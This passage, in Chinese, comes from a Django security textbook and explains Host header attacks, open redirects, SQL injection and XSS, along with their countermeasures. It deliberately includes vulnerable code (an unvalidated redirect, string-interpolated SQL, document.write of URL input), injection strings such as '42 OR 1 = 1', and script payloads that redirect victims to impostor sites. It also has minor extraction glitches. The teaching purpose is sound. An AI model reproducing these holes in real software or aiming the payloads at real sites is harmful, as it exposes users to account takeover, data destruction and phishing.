图 13.4 Mallory 利用 Host 头攻击接管了 Bob 的帐户。

您的应用程序服务器永远不应从客户端获取其标识。因此,直接访问 Host 头是不安全的,像这样:

bad_practice = request.META['HTTP_HOST']    # ❶

❶ 绕过输入验证

如果需要访问主机名,请始终在请求上使用 get_host 方法。此方法验证并检索 Host 头:

good_practice = request.get_host()    # ❶

❶ 验证 Host 头

get_host 方法如何验证 Host 头?通过根据 ALLOWED_HOSTS 设置对其进行验证。该设置是允许应用程序提供资源的主机和域名列表。默认值为空列表。如果 DEBUG 设置为 True,Django 允许使用 localhost127.0.0.1[::1]Host 头来方便地进行本地开发。表 13.4 展示了如何为生产环境配置 ALLOWED_HOSTS

表 13.4 ALLOWED_HOSTS 配置示例

示例 描述 匹配 不匹配
alice.com 完全合格的名称 alice.com sub.alice.com
sub.alice.com 完全合格的名称 sub.alice.com alice.com
.alice.com 子域通配符 alice.com,sub.alice.com
* 通配符 alice.com,sub.alice.com,bob.com

警告:不要将 * 添加到 ALLOWED_HOSTS 中。许多程序员出于方便而这样做,他们不知道这实际上是在禁用 Host 头验证。

配置 ALLOWED_HOSTS 的一种方便方法是在应用程序启动时从公钥证书中动态提取主机名。这对于在不同环境中部署具有不同主机名的系统非常有用。清单 13.1 展示了如何使用 cryptography 包执行此操作。此代码打开公钥证书文件,解析它,并将其存储在内存中作为对象。然后,从对象中复制主机名属性到 ALLOWED_HOSTS 设置。

清单 13.1 从公钥证书中提取主机

from cryptography.hazmat.backends import default_backend
from cryptography.x509.oid import NameOID

with open(CERTIFICATE_PATH, 'rb') as f:                            # ❶
    cert = default_backend().load_pem_x509_certificate(f.read())   # ❶
atts = cert.subject.get_attributes_for_oid(NameOID.COMMON_NAME)    # ❶

ALLOWED_HOSTS = [a.value for a in atts]                            # ❷

❶ 在启动时从证书中提取通用名称

❷ 将常见名称添加到 ALLOWED_HOSTS 中

注意 ALLOWED_HOSTS 与 TLS 无关。像任何其他应用程序服务器一样,Django 在很大程度上不知道 TLS。Django 仅使用 ALLOWED_HOSTS 设置来防止 Host 头攻击。

再次强调,如果可能,攻击者将武器化 HTTP 请求的任何属性。在下一节中,我将介绍攻击者使用的另一种将恶意输入嵌入请求 URL 中的技术。

13.6 开放式重定向攻击

作为开放式重定向攻击主题的介绍,让我们假设 Mallory 想要偷走 Bob 的钱。首先,她冒充 bank.alice.com,使用 bank.mallory.com。Mallory 的网站看起来和感觉就像 Alice 的在线银行网站。接下来,Mallory 准备了一封设计成看起来像来自 bank.alice.com 的电子邮件。这封电子邮件的正文包含一个指向 bank.mallory.com 登录页面的链接。Mallory 把这封电子邮件发送给 Bob。Bob 点击链接,转到 Mallory 的网站,并输入他的登录凭据。然后 Mallory 的网站使用 Bob 的凭据访问他在 bank.alice.com 的账户。Bob 的钱随后被转移到 Mallory 那里。

通过点击链接,Bob 被认为是钓鱼,因为他上了钩。Mallory 已成功执行了一次钓鱼诈骗。这种诈骗有多种形式:

  • 钓鱼 攻击通过电子邮件到达。

  • Smishing 攻击通过短信服务(SMS)到达。

  • Vishing 攻击通过语音邮件到达。

Mallory 的诈骗直接针对 Bob,Alice 几乎无能为力阻止它。然而,如果她不小心,Alice 实际上会让 Mallory 的事情变得更加轻松。假设 Alice 为 bank.alice.com 添加了一个功能。这个功能动态地将用户重定向到站点的另一部分。bank.alice.com 如何知道将用户重定向到哪里?重定向的地址由请求参数的值确定。(在第八章,您通过相同的机制实现了支持相同功能的身份验证工作流程。)

不幸的是,bank.alice.com 在将用户重定向到地址之前并未验证每个地址。这被称为开放式重定向,使得 bank.alice.com 容易受到开放式重定向攻击的影响。开放式重定向使得 Mallory 更容易发动更有效的钓鱼诈骗。Mallory 利用这个机会给 Charlie 发送一封带有指向开放式重定向的链接的电子邮件。这个 URL 在图 13.5 中显示,指向 bank.alice.com 的域名。

CH13_F05_Byrne

图 13.5 开放式重定向攻击的 URL 结构

在这种情况下,Charlie 更有可能上钩,因为他收到了一个带有他银行主机的 URL。不幸的是对于 Charlie,他的银行将他重定向到了 Mallory 的网站,在那里他输入了他的凭据和个人信息。图 13.6 描述了这种攻击。

CH13_F06_Byrne

图 13.6 Mallory 用开放式重定向攻击钓鱼 Bob。

列表 13.2 描述了一个简单的开放式重定向漏洞。OpenRedirectView 执行一个任务,然后读取查询参数的值。然后用户被盲目地重定向到下一个参数值。

列表 13.2 没有输入验证的开放式重定向

from django.views import View
from django.shortcuts import redirect

class OpenRedirectView(View):
    def get(self, request):
        ...
        next = request.GET.get('next')    # ❶
        return redirect(next)             # ❷

❶ 读取下一个请求参数

❷ 发送重定向响应

相反,在第 13.3 节的ValidatedRedirectView通过输入验证抵抗开放式重定向攻击。这个视图将工作委托给 Django 内置的实用函数url_has_allowed_host_and_scheme。这个函数,以粗体字显示,接受一个 URL 和主机。只有当 URL 的域与主机匹配时,它才返回True

第 13.3 节的抵抗开放式重定向攻击的输入验证

from django.http import HttpResponseBadRequest
from django.utils.http import url_has_allowed_host_and_scheme

class ValidatedRedirectView(View):
    def get(self, request):
        ...
        next = request.GET.get('next')                                     # ❶
        host = request.get_host()                                          # ❷
        if url_has_allowed_host_and_scheme(next, host, require_https=True):# ❸
            return redirect(next)

        return HttpResponseBadRequest()                                    # ❹

❶ 读取下一个请求参数

❷ 安全确定主机

❸ 验证重定向的主机和协议

❹ 防止攻击

ValidatedRedirectView注意到使用get_host方法确定主机名,而不是直接访问Host头。在前一节中,您学会了通过这种方式避免Host头攻击。

在罕见的情况下,您的系统可能实际上需要动态地将用户重定向到多个主机。url_has_allowed_host_and_scheme函数通过接受单个主机名或多个主机名的集合来适应这种用例。

如果require_https关键字参数设置为Trueurl_has_allowed_host_and_scheme函数将拒绝使用 HTTP 的任何 URL。不幸的是,这个关键字参数默认为False,为另一种开放式重定向攻击创造了机会。

假设 Mallory 和 Eve 合作进行攻击。Mallory 通过针对 Charlie 的另一次网络钓鱼诈骗开始这次攻击。Charlie 收到一封包含以下 URL 的电子邮件。请注意,源和目标主机相同;协议以粗体字显示,不同:

https:/./alice.com/open_redirect/?next=http:/./alice.com/resource/

Charlie 点击链接,将他带到 Alice 的站点,通过 HTTPS。不幸的是,Alice 的开放式重定向随后将他发送到站点的另一个部分,通过 HTTP。网络窃听者 Eve 接替 Mallory 继续进行中间人攻击。

警告:require_https的默认值为False。您应该将其设置为True

在下一节中,我将本章结束于可能是最为人熟知的注入攻击。无需介绍。

13.7 SQL 注入

在阅读本书的过程中,您已经实现了支持用户注册、身份验证和密码管理等功能的工作流程。与大多数系统一样,您的项目通过在用户和关系数据库之间来回传递数据来实现这些工作流程。当这样的工作流程未能验证用户输入时,它们就成为SQL 注入的一个向量。

攻击者通过向易受攻击的系统提交恶意 SQL 代码作为输入来进行 SQL 注入。系统试图处理输入,但不慎执行它。这种攻击用于修改现有的 SQL 语句或将任意 SQL 语句注入系统。这使攻击者能够破坏、修改或未经授权地访问数据。

一些安全书籍专门有一整章内容介绍 SQL 注入。本书的少数读者会完整地读完关于这个主题的整个章节,因为像 Python 社区的其他成员一样,你们已经采用了 ORM 框架。ORM 框架不仅为您读写数据;它们还是防止 SQL 注入的一层防线。每个主要的 Python ORM 框架,如 Django ORM 或 SQLAlchemy,都通过自动查询参数化有效地抵抗 SQL 注入。

警告:ORM 框架优于编写原始 SQL。原始 SQL 容易出错,工作量更大,而且难看。

有时,对象关系映射并不是解决问题的正确工具。例如,您的应用程序可能需要执行复杂的 SQL 查询以提高性能。在这些罕见的场景中,当您必须编写原始 SQL 时,Django ORM 支持两个选项:原始 SQL 查询和数据库连接查询。

13.7.1 原始 SQL 查询

每个 Django 模型类都通过名为 objects 的属性引用查询接口。在其他功能中,此接口通过名为 raw 的方法容纳原始 SQL 查询。此方法接受原始 SQL 并返回一组模型实例。以下代码说明了一个可能返回大量行的查询。为了节省资源,仅选择表的两列:

from django.contrib.auth.models import User

sql = 'SELECT id, username FROM auth_user'      # ❶
users_with_username = User.objects.raw(sql)

❶ 为所有行选择两列

假设以下查询旨在控制哪些用户被允许访问敏感信息。按预期,当 first_name 等于 Alice 时,raw 方法返回单个用户模型。不幸的是,Mallory 可以通过操纵 first_name"Alice' OR first_name = 'Mallory" 来提升她的权限:

sql = "SELECT * FROM auth_user WHERE first_name = '%s' " % first_name
users = User.objects.raw(sql)

警告:原始 SQL 和字符串插值是一种可怕的组合。

请注意,在占位符 %s 周围加引号会提供一种虚假的安全感。在占位符周围加引号不会提供任何安全性,因为 Mallory 可以简单地准备包含额外引号的恶意输入。

警告:对占位符加引号不会使原始 SQL 变得安全。

通过调用 raw 方法,您必须负责对查询进行参数化。这样可以通过转义所有特殊字符(如引号)来保护您的查询。以下代码演示了如何通过将参数值列表(以粗体显示)传递给 raw 方法来执行此操作。Django 会遍历这些值,并安全地将它们插入到您的原始 SQL 语句中,转义所有特殊字符。以这种方式准备的 SQL 语句不受 SQL 注入的影响。请注意,占位符周围没有引号:

sql = "SELECT * FROM auth_user WHERE first_name = %s"
users = User.objects.raw(sql, [first_name])

或者,raw 方法接受一个字典而不是一个列表。在这种情况下,raw 方法安全地将 %(dict_key) 替换为字典中 dict_key 映射到的内容。

13.7.2 数据库连接查询

Django 允许你通过数据库连接直接执行任意原始 SQL 查询。如果你的查询不属于单个模型类,或者想要执行UPDATEINSERTDELETE语句,这将非常有用。

连接查询与原始方法查询一样具有很大的风险。例如,假设以下查询旨在删除单个经过身份验证的消息。当msg_id等于42时,此代码会按预期运行。不幸的是,如果 Mallory 能够操纵msg_id42 OR 1 = 1,她将摧毁表中的每条消息:

from django.db import connection

sql = """DELETE FROM messaging_authenticatedmessage    # ❶
         WHERE id = %s """ % msg_id                    # ❶
with connection.cursor() as cursor:                    # ❷
    cursor.execute(sql)                                # ❷

❶ 带有一个占位符的 SQL 语句

❷ 执行 SQL 语句

raw方法查询一样,安全地执行连接查询的唯一方法是使用查询参数化。连接查询的参数化方式与raw方法查询相同。以下示例演示了如何使用params关键字参数安全地删除经过身份验证的消息,关键字参数以粗体显示:

sql = """DELETE FROM messaging_authenticatedmessage
         WHERE id = %s """                 # ❶
with connection.cursor() as cursor:
    cursor.execute(sql, params=[msg_id])   # ❷

❶ 未引用的占位符

❷ 转义特殊字符,执行 SQL 语句

我在本章中涵盖的攻击和对策并不像我在其余章节中涵盖的那么复杂。例如,跨站请求伪造和点击劫持有专门的章节。下一章完全致力于一类攻击,称为跨站脚本。这些攻击比我在本章中介绍的所有攻击更复杂和常见。

摘要

  • 哈希和数据完整性有效地抵抗包注入攻击。

  • 解析 YAML 和解析pickle一样危险。

  • XML 不仅仅是丑陋的;从不受信任的来源解析它可能会导致系统崩溃。

  • 你可以通过你的 Web 服务器和负载均衡器抵抗低级 DoS 攻击。

  • 你可以通过你的 WSGI 或应用服务器抵抗高级 DoS 攻击。

  • 开放重定向攻击会导致网络钓鱼和中间人攻击。

  • 对象关系映射有效地抵抗 SQL 注入。

第十四章:跨站脚本攻击

本章内容包括

  • 使用表单和模型验证输入

  • 使用模板引擎转义特殊字符

  • 使用响应头限制浏览器功能

在前一章中,我向你介绍了几种小型注入攻击。在本章中,我继续介绍一种被称为 跨站脚本XSS)的大家族。XSS 攻击有三种类型:持久型、反射型和基于 DOM 的。这些攻击既常见又强大。

注意:在撰写本文时,XSS 在 OWASP 十大安全威胁中排名第 7 位(owasp.org/www-project-top-ten/)。

XSS 抵御是 深度防御 的一个极好例子;一行防护不够。你将在本章中学习如何通过验证输入、转义输出和管理响应头来抵御 XSS。

14.1 什么是 XSS?

XSS 攻击有多种形式和大小,但它们都有一个共同点:攻击者向另一个用户的浏览器注入恶意代码。恶意代码可以采用多种形式,包括 JavaScript、HTML 和层叠样式表(CSS)。恶意代码可以通过许多途径传送,包括 HTTP 请求的主体、URL 或头部。

XSS 有三个子类别。每个子类别都由用于注入恶意代码的机制定义。

  • 持久型 XSS

  • 反射型 XSS

  • 基于 DOM 的 XSS

在本节中,Mallory 进行了所有三种形式的攻击。Alice、Bob 和 Charlie 都将遭受损失。在后续章节中,我将讨论如何抵御这些攻击。

14.1.1 持久型 XSS

假设 Alice 和 Mallory 是 social.bob.com 的用户,这是一个社交媒体网站。像其他社交媒体网站一样,Bob 的网站允许用户分享内容。不幸的是,这个网站缺乏足够的输入验证;更重要的是,它在不转义的情况下呈现共享内容。Mallory 注意到了这一点,并创建了以下一行脚本,旨在将 Alice 从 social.bob.com 带到冒牌站点 social.mallory.com:

<script>
    document.location = "https:/./social.mallory.com";    # ❶
</script>

❶ 客户端重定向的等效

接下来,Mallory 导航到她的个人资料设置页面。她将她的一个个人资料设置更改为她恶意代码的值。Bob 的网站不验证 Mallory 的输入,而是将其持久化到数据库字段中。

后来,Alice 偶然发现了 Mallory 的个人资料页面,现在包含了 Mallory 的代码。Alice 的浏览器执行了 Mallory 的代码,将 Alice 带到了 social.mallory.com,她被欺骗提交了她的身份验证凭据和其他私人信息给 Mallory。

这种攻击是 持久型 XSS 的一个例子。一个易受攻击的系统通过持久化攻击者的恶意负载来启用这种形式的 XSS。后来,在受害者的浏览器中,通过受害者的错误,负载被注入。图 14.1 描述了这种攻击。

CH14_F01_Byrne

图 14.1 Mallory 的持久型 XSS 攻击将 Alice 引导至一个恶意冒牌站点。

设计用于共享用户内容的系统特别容易受到这种 XSS 的影响。此类系统包括社交媒体网站、论坛、博客和协作产品。像 Mallory 这样的攻击者通常比这更加激进。例如,这一次 Mallory 等待 Alice 无意中陷入陷阱。在现实世界中,攻击者通常会通过电子邮件或聊天主动引诱受害者访问注入的内容。

在本节中,Mallory 通过 Bob 的网站攻击了 Alice。在下一节中,Mallory 将通过 Alice 的一个网站攻击 Bob。

14.1.2 反射型 XSS

假设 Bob 是 Alice 新网站 search.alice.com 的用户。与 google.com 一样,该网站通过 URL 查询参数接受 Bob 的搜索词。作为回报,Bob 收到一个包含搜索结果的 HTML 页面。正如你所预料的那样,Bob 的搜索词被结果页面反映出来。

与其他搜索网站不同,search.alice.com 的结果页面会渲染用户的搜索词而不进行转义。Mallory 注意到了这一点,并准备了以下 URL。此 URL 的查询参数携带了恶意 JavaScript,通过 URL 编码进行了混淆。这个脚本旨在将 Bob 从 search.alice.com 带到另一个冒名顶替的网站 search.mallory.com:

https:/./search.alice.com/?terms=
➥ %3Cscript%3E                                          # ❶
➥ document.location=%27https://search.mallory.com%27    # ❶
➥ %3C/script%3E                                         # ❶

❶ 嵌入 URL 的脚本

Mallory 将这个 URL 发送给 Bob 的短信。他上钩了,点击了链接,无意中将 Mallory 的恶意代码发送给了 search.alice.com。网站立即将 Mallory 的恶意代码反射给了 Bob。Bob 的浏览器在渲染结果页面时执行了恶意脚本。最后,他被带到了 search.mallory.com,Mallory 进一步利用了他。

此攻击是反射型 XSS 的一个例子。攻击者通过诱使受害者向易受攻击的站点发送恶意有效载荷来发起这种形式的 XSS。该站点不会保留有效载荷,而是立即以可执行形式将有效载荷反射给用户。图 14.2 描绘了这种攻击。

CH14_F02_Byrne

图 14.2 Bob 将 Mallory 的恶意 JavaScript 从 Alice 的服务器反射出来,无意中将自己带到了 Mallory 的冒名顶替网站。

反射型 XSS 显然不仅限于聊天。攻击者还通过电子邮件或恶意网站引诱受害者。在下一节中,Mallory 用第三种 XSS 类型攻击 Charlie。与反射型 XSS 类似,这种类型的攻击也是从恶意 URL 开始的。

14.1.3 基于 DOM 的 XSS

在 Mallory 黑掉 Bob 后,Alice 决心修复她的网站。她将结果页面更改为使用客户端渲染显示用户的搜索词。以下代码说明了她的新结果页面是如何做到这一点的。请注意,现在浏览器而不是服务器从 URL 中提取搜索词。由于搜索词只是不再反映,所以反射型 XSS 漏洞已经不存在:

<html>
  <head>
    <script>
        const url = new URL(window.location.href);
        const terms = url.searchParams.get('terms');    // ❶
        document.write('You searched for ' + terms);    // ❷

    </script>
  </head>
    ...
</html>

❶ 从查询参数中提取搜索词

❷ 将搜索词写入页面的正文

Mallory 再次访问 search.alice.com 并注意到另一个机会。她给查理发送了一封包含恶意链接的电子邮件。这个链接的 URL 与她用来对鲍勃进行反射 XSS 攻击的链接完全相同。

查理上钩并通过点击链接导航到 search.alice.com。爱丽丝的服务器响应了一个普通的结果页面;响应中不包含任何恶意内容。不幸的是,爱丽丝的 JavaScript 将 Mallory 的恶意代码从 URL 复制到页面的正文中。查理的浏览器然后执行 Mallory 的脚本,将查理发送到 search.mallory.com。

Mallory 的第三次攻击是 基于 DOM 的 XSS 的一个例子。与反射 XSS 类似,攻击者通过欺骗用户向易受攻击的站点发送恶意有效载荷来启动 DOM-based XSS。与反射 XSS 攻击不同,有效载荷不会被反射。相反,注入发生在浏览器中。

在这三次攻击中,Mallory 成功地诱使她的受害者前往一个冒牌站点,并带有一个简单的一行脚本。实际上,这些攻击可能注入复杂的代码来执行各种利用,包括以下内容:

  • 未经授权访问敏感或私人信息

  • 利用受害者的授权权限执行操作

  • 未经授权访问客户端 cookie,包括会话 ID

  • 将受害者发送到受攻击者控制的恶意站点

  • 曲解网站内容,如银行账户余额或健康测试结果

这些攻击的影响范围真的很难总结。XSS 非常危险,因为攻击者控制了系统和受害者。系统无法区分受害者的有意请求和攻击者的恶意请求。受害者无法区分系统内容和攻击者内容。

XSS 抵御是防御深度的完美示例。本章的其余部分将教你如何通过分层方法抵御 XSS。我按照 HTTP 请求生命周期的顺序呈现这些材料:

  • 输入验证

  • 输出转义,是防御最重要的层级

  • 响应头

完成本章时,重要的是要记住每个层级单独都不够。你必须采取多层次的方法。

14.2 输入验证

在本节中,您将学习如何验证表单字段和模型属性。这是人们在提到输入验证时通常想到的内容。你可能已经有了这方面的经验。部分抵御 XSS 只是验证输入的许多原因之一。即使 XSS 不存在,本节的材料仍将为您提供保护,防止数据损坏、系统误用和其他注入攻击。

在第十章中,您创建了一个名为 AuthenticatedMessage 的 Django 模型。我利用了这个机会来演示 Django 的权限方案。在本节中,您将使用相同的模型类来声明和执行输入验证逻辑。您的模型将是 Alice 用于创建新消息的小工作流的中心。此工作流包括以下三个组件在您的 Django 消息应用程序中:

  • 您现有的模型类,AuthenticatedMessage

  • 一个新的视图类,CreateAuthenticatedMessageView

  • 一个新的模板,authenticatedmessage_form.html

在 templates 目录下,创建一个名为 messaging 的子目录。在该子目录下创建一个名为 authenticatedmessage_form.html 的新文件。打开此文件并将第 14.1 列表中的 HTML 添加到其中。form.as_table 变量呈现为一些带标签的表单字段。暂时忽略 csrf_token 标签;我在第十六章中涵盖了这一点。

第 14.1 列表 创建新消息的简单模板

<html>

    <form method='POST'>
        {% csrf_token %}            <!-- ❶ -->
        <table>
            {{ form.as_table }}     <!-- ❷ -->
        </table>
        <input type='submit' value='Submit'>
    </form>

</html>

❶ 必要的,但在第十六章中已涵盖

❷ 动态呈现消息属性表单字段

接下来,打开 models.py 并导入内置的 RegexValidator,如下一个列表中所示。如粗体字所示,创建 RegexValidator 的一个实例,并将其应用于 hash_value 字段。此验证器确保 hash_value 字段必须完全是 64 个十六进制文本字符。

第 14.2 列表 使用 RegexValidator 进行模型字段验证

...
from django.core.validators import RegexValidator
...
class AuthenticatedMessage(Model):
    message = CharField(max_length=100)
    hash_value = CharField(max_length=64,                                # ❶
                           validators=[RegexValidator('[0-9a-f]{64}')])  # ❷

❶ 确保最大长度

❷ 确保最小长度

RegexValidator 这样的内置验证器类旨在在每个字段上强制执行输入验证。但有时您需要跨多个字段执行输入验证。例如,当您的应用程序接收到新消息时,消息是否确实哈希到与其到达时相同的哈希值?通过将 clean 方法添加到您的模型类中,您可以处理这样的情况。

将第 14.3 列表中的 clean 方法添加到 AuthenticatedMessage 中。此方法首先创建一个 HMAC 函数,如粗体字所示。在第三章中,您了解到 HMAC 函数有两个输入:消息和密钥。在这个例子中,消息是您模型的一个属性,而密钥是内联口令。(显然,生产密钥不应存储在 Python 中。)

HMAC 函数用于计算哈希值。最后,clean 方法将此哈希值与 hash_value 模型属性进行比较。如果哈希值不匹配,则引发 ValidationError。这样可以防止没有口令的人成功提交消息。

第 14.3 列表 跨越多个模型字段的输入验证

...
import hashlib
import hmac

from django.utils.encoding import force_bytes
from django.utils.translation import gettext_lazy as _
from django.core.exceptions import ValidationError
...
...
class AuthenticatedMessage(Model):
...
    def clean(self):                                               # ❶
 hmac_function = hmac.new(                                  # ❷
 b'frown canteen mounted carve',                        # ❷
 msg=force_bytes(self.message),                         # ❷
 digestmod=hashlib.sha256)                              # ❷
        hash_value = hmac_function.hexdigest()                     # ❷

        if not hmac.compare_digest(hash_value, self.hash_value):   # ❸
            raise ValidationError(_('Message not authenticated'),     
                                  code='msg_not_auth')

❶ 执行跨多个字段的输入验证

❷ 对消息属性进行哈希处理

❸ 在恒定时间内比较哈希值

接下来,将列表 14.4 中的视图添加到您的 Django 应用程序中。CreateAuthenticatedMessageView继承了一个名为CreateView的内置实用类,以粗体字显示。 CreateView使您免于从传入的 HTTP 表单字段复制数据到模型字段。model属性告诉CreateView要创建哪个模型。fields属性告诉CreateView请求中期望哪些字段。success_url指定在成功提交表单后将用户重定向到的位置。

列表 14.4 渲染新消息表单页面

from django.views.generic.edit import CreateView
from messaging.models import AuthenticatedMessage

class CreateAuthenticatedMessageView(CreateView):   # ❶
    model = AuthenticatedMessage                    # ❷
    fields = ['message', 'hash_value']              # ❸
    success_url = '/'                               # ❹

❶ 继承输入验证和持久性

❷ 指定要创建的模型

❸ 指定要期望的 HTTP 字段

❹ 指定要将用户重定向到的位置

通过继承,CreateAuthenticatedMessageView作为模板和模型之间的粘合剂。这个四行类执行以下操作:

  1. 渲染页面

  2. 处理表单提交

  3. 将数据从传入的 HTTP 字段复制到新的模型对象

  4. 练习模型验证逻辑

  5. 将模型保存到数据库

如果表单成功提交,则将用户重定向到站点根目录。如果请求被拒绝,则使用输入验证错误消息重新呈现表单。

警告:当您在模型对象上调用saveupdate时,Django 不会验证模型字段。直接调用这些方法时,您有责任触发验证。通过在模型对象上调用full_clean方法来执行此操作。

重启你的服务器,以 Alice 的身份登录,并将浏览器指向新视图的 URL。花几分钟多次使用无效输入提交表单。请注意,Django 会自动使用信息性输入验证错误消息重新呈现表单。最后,使用以下代码为您选择的消息生成一个有效的密钥哈希值。将此消息和哈希值输入表单并提交:

>>> import hashlib
>>> import hmac
>>> 
>>> hmac.new(
...     b'frown canteen mounted carve',
...     b'from Alice to Bob',                           # ❶
...     digestmod=hashlib.sha256).hexdigest()
'E52c83ad9c9cb1ca170ff60e02e302003cd1b3ae3459e35d3...'  # ❷

❶ 成为消息表单字段的值

❷ 成为 hash_value 表单字段的值

这一节中的工作流程相当简单。作为现实世界中的程序员,你可能会遇到比这更复杂的问题。例如,表单提交可能不需要在数据库中创建新行,或者可能需要在多个数据库中的多个表中创建多个行。下一节将解释如何使用自定义 Django 表单类适应这种情况。

14.2.1 Django 表单验证

在本节中,我将为您概述如何使用表单类定义和进行输入验证;这不是另一个工作流程。将表单类添加到您的应用程序中可以创建输入验证机会的层次。由于表单验证在许多方面类似于模型验证,因此这些材料对您来说很容易吸收。

列表 14.5 是您的视图如何利用自定义表单的典型示例。EmailAuthenticatedMessageView定义了两个方法。get方法创建并呈现一个空白的AuthenticatedMessageFormpost方法通过将请求参数转换为表单对象来处理表单提交。然后通过调用表单的(继承的)is_valid方法触发输入验证,以粗体字显示。如果表单有效,则入站消息将通过电子邮件发送给 Alice;如果表单无效,则将表单呈现回用户,让他们有机会再试一次。

列表 14.5 使用自定义表单验证输入

from django.core.mail import send_mail
from django.shortcuts import render, redirect
from django.views import View

from messaging.forms import AuthenticatedMessageForm

class EmailAuthenticatedMessageView(View):
    template = 'messaging/authenticatedmessage_form.html'

    def get(self, request):                              # ❶
        ctx = {'form': AuthenticatedMessageForm(), }     # ❶
        return render(request, self.template, ctx)       # ❶

    def post(self, request):
        form = AuthenticatedMessageForm(request.POST)    # ❷

        if form.is_valid():                              # ❸
            message = form.cleaned_data['message']
            subject = form.cleaned_data['hash_value']
            send_mail(subject, message, 'bob@bob.com', ['alice@alice.com'])
            return redirect('/')

        ctx = {'form': form, }                           # ❹
        return render(request, self.template, ctx)       # ❹

❶ 通过空白表单征求用户输入

❷ 将用户输入转换为表单

❸ 触发输入验证逻辑

❹ 重新呈现无效的表单提交

自定义表单如何定义输入验证逻辑?接下来的几个列表示例说明了一些定义具有字段验证的表单类的方法。

在列表 14.6 中,AuthenticatedMessageForm由两个CharField组成。message Charfield通过关键字参数强制执行两个长度约束,以粗体字显示。hash_value Charfield通过validators关键字参数强制执行正则表达式约束,同样以粗体显示。

列表 14.6 字段级输入验证

from django.core.validators import RegexValidator
from django.forms import Form, CharField

class AuthenticatedMessageForm(Form):
    message = CharField(min_length=1, max_length=100)                        # ❶
    hash_value = CharField(validators=[RegexValidator(regex='[0-9a-f]{64}')])C

❶ 消息长度必须大于 1 且小于 100。

❷ Hash 值必须是 64 个十六进制字符。

特定字段的clean方法提供了另一种内置的输入验证层。对于表单上的每个字段,Django 自动查找并调用名为clean_<field_name>的表单方法。例如,列表 14.7 演示了如何使用名为clean_hash_value的表单方法验证hash_value字段,以粗体显示。与模型上的clean方法一样,特定字段的clean方法通过引发ValidationError来拒绝输入。

列表 14.7 具有特定字段 clean 方法的输入验证

...
import re
from django.core.exceptions import ValidationError
from django.utils.translation import gettext_lazy as _
...
...
class AuthenticatedMessageForm(Form):
    message = CharField(min_length=1, max_length=100)
    hash_value = CharField()

...

    def clean_hash_value(self):                                         # ❶
        hash_value = self.cleaned_data['hash_value']
        if not re.match('[0-9a-f]{64}', hash_value):
            reason = 'Must be 64 hexadecimal characters'
            raise ValidationError(_(reason), code='invalid_hash_value') # ❷
        return hash_value

❶ 被 Django 自动调用

❷ 拒绝表单提交

在本节的前面,您学习了如何通过向模型类添加clean方法来跨多个模型字段执行输入验证。类似地,向表单类添加clean方法允许您验证多个表单字段。下面的示例演示了如何从表单的clean方法中访问多个表单字段,以粗体字显示。

列表 14.8 跨多个表单字段验证输入

class AuthenticatedMessageForm(Form):
    message = CharField(min_length=1, max_length=100)
    hash_value = CharField(validators=[RegexValidator(regex='[0-9a-f]{64}')])

...

    def clean(self):                                                # ❶
        super().clean()
 message = self.cleaned_data.get('message')                  # ❷
 hash_value = self.cleaned_data.get('hash_value')            # ❷
        ...                                                         # ❷
        if condition:
            reason = 'Message not authenticated'
            raise ValidationError(_(reason), code='msg_not_auth')   # ❸

❶ 被 Django 自动调用

❷ 在多个字段上执行输入验证逻辑

❸ 拒绝表单提交

输入验证仅保护攻击面的一部分。例如,hash_value字段被锁定,但message字段仍然接受恶意输入。因此,您可能会尝试通过尝试对输入进行清理来超越输入验证。

输入消毒 是试图从不受信任的来源净化或清洗数据的尝试。通常,一名有太多空闲时间的程序员会尝试通过扫描输入来查找恶意内容。如果发现恶意内容,则通过某种方式修改输入以将其移除或中和。

输入消毒总是一个坏主意,因为它太难实现了。至少,消毒剂必须识别三种类型的解释器的所有恶意输入:JavaScript、HTML 和 CSS。您可能会将第四个解释器添加到列表中,因为很有可能输入将存储在 SQL 数据库中。

接下来会发生什么?嗯,报告和分析团队的某人想要谈一谈。看起来他们在查询数据库时遇到了问题,因为内容可能已被消毒剂修改。移动团队需要解释。所有那些经过消毒的输入在他们的 UI 中呈现得很差,而他们甚至没有使用解释器。头疼得很。

输入消毒还会阻止您实施有效的用例。例如,您是否曾经通过消息客户端或电子邮件向同事发送过代码或命令行?某些字段旨在接受用户的自由格式输入。系统通过一系列防御层抵御 XSS,因为这些字段根本无法被锁定。最重要的层将在下一节中介绍。

14.3 转义输出

在本节中,您将了解到最有效的 XSS 对策,即转义输出。为什么转义输出如此重要?想象一下您工作中使用的数据库之一。想想它有多少张表。想想每张表中的所有用户定义字段。很可能,这些字段中的大多数都以某种方式由网页呈现。每个字段都会增加您的攻击面,其中许多可以通过特殊的 HTML 字符武装起来。

安全的网站通过转义特殊的 HTML 字符来抵御 XSS。表 14.1 列出了这些字符及其转义值。

表 14.1 特殊 HTML 字符及其转义值

转义字符 名称和描述 HTML 实体(转义值)
< 小于号,元素开始 <
> 大于号,元素结束 >
单引号,属性值定义 '
双引号,属性值定义 "
& 和号,实体定义 &

与其他主要的 Web 框架一样,Django 的模板引擎会自动转义输出,转义特殊的 HTML 字符。例如,如果您从数据库中提取一些数据并在模板中呈现它,您就不必担心持久性 XSS 攻击:

<html>
    <div>
        {{ fetched_from_db }}     <!-- ❶ -->
    <div>
</html>

❶ 默认情况下,这是安全的。

此外,如果您的模板呈现了一个请求参数,您就不必担心引入反射型 XSS 漏洞:

<html>
    <div>
        {{ request.GET.query_parameter }}    <!-- ❶ -->
    <div>
</html>

❶ 默认情况下,也是安全的

从项目根目录中,打开一个交互式 Django shell 来亲自看看。键入以下代码以程序化地演示一些 Django 的 XSS 抵抗功能。这段代码创建一个模板,注入恶意代码,并渲染它。请注意最终结果中的每个特殊字符都被转义:

$ python manage.py shell
>>> from django.template import Template, Context
>>> 
>>> template = Template('<html>{{ var }}</html>')              # ❶
>>> poison = '<script>/* malicious */</script>'                # ❷
>>> ctx = Context({'var': poison})
>>> 
>>> template.render(ctx)                                       # ❸
'<html>&lt;script&gt;/* malicious */&lt;/script&gt;</html>'    # ❹

❶ 创建一个简单的模板

❷ 恶意输入

❸ 渲染模板

❹ 模板中和解

这个功能让你少了些担心,但并不意味着你可以完全忘记 XSS。在下一节中,你将学习何时以及如何暂停此功能。

14.3.1 内置渲染实用工具

Django 的模板引擎提供了许多内置标记、过滤器和实用函数用于渲染 HTML。这里以粗体显示的内置 autoescape 标记旨在明确暂停模板中一部分的自动特殊字符转义。当模板引擎解析此标记时,它会渲染其中的所有内容而不转义特殊字符。这意味着以下代码容易受到 XSS 攻击:

<html>
    {% autoescape off %}        <!-- ❶ -->
        <div>
            {{ request.GET.query_parameter }}
        </div>
    {% endautoescape %}         <!-- ❷ -->
